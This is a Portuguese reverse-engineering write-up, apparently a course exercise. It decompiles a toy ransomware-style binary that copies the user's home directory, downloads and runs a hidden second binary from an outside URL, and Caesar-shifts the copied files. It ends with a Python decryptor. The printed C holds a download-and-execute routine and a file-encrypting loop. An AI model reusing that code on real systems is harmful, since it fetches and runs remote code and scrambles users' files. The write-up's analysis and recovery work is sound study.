Lorena Mamede Botelho
TAG: Engenharia Reversa

Investigação dos Binários

Avaliando o binário Tag, pude facilmente, com o auxílio da ferramenta Ghidra, descobrir seu código em C. Abaixo podemos ver a função principal do programa, a *main*.

```
undefined8 main(void)

{
  uint uVar1;

  puts("Olá!");
  system("mkdir -p $USER && cp ~/* $USER 2> /dev/null");
  puts("Codificando os arquivos da sua home...");
  puts("Procure por uma forma de descodificá-los");
  puts("OBS: Não desligue sua máquina, se não não será mais possível recuperar os dados!!!");
  sleep(1);
  encripta_arquivos();
  printa_ascii_art();
  uVar1 = _system_integrity_check();
  _system_loader_callback("http://ix.io/2c6V",(ulong)uVar1);
  puts(
      "brincadeira, fiz uma cópia da sua home no diretório atual e encriptei seus arquivos lá, rs"
      );
  return 0;
}
```

Esse código copia tudo que se encontra no diretório do usuário para uma outra pasta com mesmo nome e encripta seu conteúdo.

A cópia do diretório acontece nas primeiras linhas com o uso do comando *mkdir* que cria o novo diretório e o comando *cp* que copia os arquivos. A parte mais obscura é a da encriptação.

Para entender como é feita, podemos ignorar as próximas funções (inclusive a encripta_arquivos), pois a única que importa é a linha:

uVar1 = system_integrity_check();

Nessa linha, a função system_integrity_check() cria uma chave compreendida entre 1 e 5. Essa chave é salva no arquivo */tmp/key* e retornada pela função para ser usada pela variável uVar1.

Essa chave é passada para outra função, a _system_loader_callback(), e é aí onde a mágica acontece.

```
void _system_loader_callback(undefined8 param_1,uint param_2)

{
  long in_FS_OFFSET;
  char local_98 [136];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  download_file_from_url(param_1,".encriptador",".encriptador");
  sprintf(local_98,"%s %d\n","chmod u+x .encriptador && ./.encriptador",(ulong)param_2);
  system(local_98);
  sleep(2);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

Dentro dela, podemos ver que é feito o download de um novo binário a partir da url http://ix.io/2c6V entitulando-o *.encriptador*, ou seja, o arquivo é posto como oculto.

Em seguida, esse binário é executado e a chave criada anteriormente é passada como parâmetro para ele.

A investigação prossegue no segundo binário, do qual novamente obtemos o código em C.

```
undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  int iVar2;
  char *__name;
  undefined8 uVar3;
  DIR *__dirp;
  int *piVar4;
  FILE *__stream;
  FILE *__stream_00;
  dirent *pdVar5;
  long in_FS_OFFSET;
  char local_418 [512];
  char local_218 [520];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __name = getenv("USER");
  if (param_1 < 2) {
    printf("usage: ./%s <argument>",*param_2);
    uVar3 = 1;
  }
  else {
    iVar1 = atoi((char *)param_2[1]);
    __dirp = opendir(__name);
    if (__dirp == (DIR *)0x0) {
      piVar4 = __errno_location();
      __name = strerror(*piVar4);
      fprintf(stderr,"Error : Failed to open input directory - %s\n",__name);
      uVar3 = 1;
    }
    else {
      while (pdVar5 = readdir(__dirp), pdVar5 != (dirent *)0x0) {
        iVar2 = strcmp(pdVar5->d_name,".");
        if ((iVar2 != 0) && (iVar2 = strcmp(pdVar5->d_name,".."), iVar2 != 0)) {
          sprintf(local_418,"%s/%s",__name,pdVar5->d_name);
          __stream = fopen(local_418,"rw");
          if (__stream == (FILE *)0x0) {
            piVar4 = __errno_location();
            __name = strerror(*piVar4);
            fprintf(stderr,"Error : Failed to open %s - %s\n",local_418,__name);
            uVar3 = 1;
            goto LAB_001014b3;
          }
          sprintf(local_218,"%s.leo",local_418);
          __stream_00 = fopen(local_218,"w");
          while( true ) {
            iVar2 = fgetc(__stream);
            if ((char)iVar2 == -1) break;
            fputc((char)iVar2 + iVar1,__stream_00);
          }
```

Existe muita informação nesse segundo código, de modo que nem tudo é relevante para entender o que está sendo feito.

Observando a variável _name, vemos é inicializada com o nome do usuário.

__dirp = opendir(__name);

Na linha acima, a variável _dirp guarda o conteúdo do diretório que possui o nome do usuário (que foi o diretório-cópia criado pelo binário tag).

A iteração while (pdVar5 = readdir(__dirp), pdVar5 != (dirent *)0x0) percorre todo o diretório guardado em _dirp. Ou seja, ela passa por todos os arquivos ou subdiretórios presentes nele. Ignorando, como mostrado abaixo, os diretório . e .. que tratam respectivamente do diretório atual e do anterior a este.

```
iVar2 = strcmp(pdVar5->d_name,".");
if ((iVar2 != 0) && (iVar2 =strcmp(pdVar5->d_name,".."), iVar2 != 0)) {
```

Para qualquer conteúdo que não esses, seu nome é colocado em uma string, local_418 e usado para abrí-lo com permissão de leitura e escrita e guardá-lo em __stream:

```
sprintf(local_418,"%s/%s",__name,pdVar5->d_name);
__stream = fopen(local_418,"rw");
```

Posteriormente, para o *path* guardado em local_418 é acrescentada a extensão *.leo* ao final. E esse nome agora com final *.leo* é passado para uma nova string local_218.

```
sprintf(local_218,"%s.leo",local_418);
```

E depois, usada para a criação de um arquivo com permissão de escrita:

```
__stream_00 = fopen(local_218,"w");
```

Assim, acabamos com dois arquivos o __stream, que contém o conteúdo original do arquivo e o __stream_00, criado com o mesmo porém com a adição do *.leo*.

Logo em seguida, o arquivo original, __stream, é percorrido caractere a caractere de forma que a cada um deles é aplicada a chave gerada láá́á no início do programa. Sendo usada a Cifra de César para a encriptação. O caractere encriptado é guardado no arquivo *.leo*.

```
while( true ) {
        iVar2 = fgetc(__stream);
        if ((char)iVar2 == -1) break;
        fputc((char)iVar2 +iVar1,__stream_00);
 }
```

Por fim, deleta-se os arquivos originais, ou seja, aqueles com extensão diferente de *.leo* e apenas permanecem os encriptados.

Decriptando

Para este processo, criei um programa em Python que pega a chave guardada no path /tmp/key e uso ela em cada um dos arquivos .leo para decrementar os caracteres.

Uso o módulo *os* para funções como listar diretório, pegar valor de variável de sistema e rodar shell commands.

O primeiro passo antes de começar a decriptar é obter todos os arquivos do diretório onde houve a encriptação e iterar cada um de seus arquivos.

A cada caractere decriptado, escrevo-o em um novo arquivo com o mesmo nome do arquivo encriptado porém sem o *.leo* no final.

Ao término deleto todos os arquivos *.leo*.

```
import os
from pathlib import Path

key = open("/tmp/key", "r").read(1);
user = os.getenv('USER')
path = '/home/' + user + '/Downloads/' + user
all_files = os.listdir(path)
for file in all_files:
    with open(path + "/"  + file, "r") as f:
        original_file = open(path + "/" + file.replace('.leo',''), "a")
        while True:
            c = f.read(1)
            if not c:
                break
            dc = ord(c) - int(key)
            original_file.write(chr(dc))
    f.close()
    original_file.close()

os.system('find ' + path + ' -type f -name \'*.leo\' -delete')
print(os.listdir(path))
```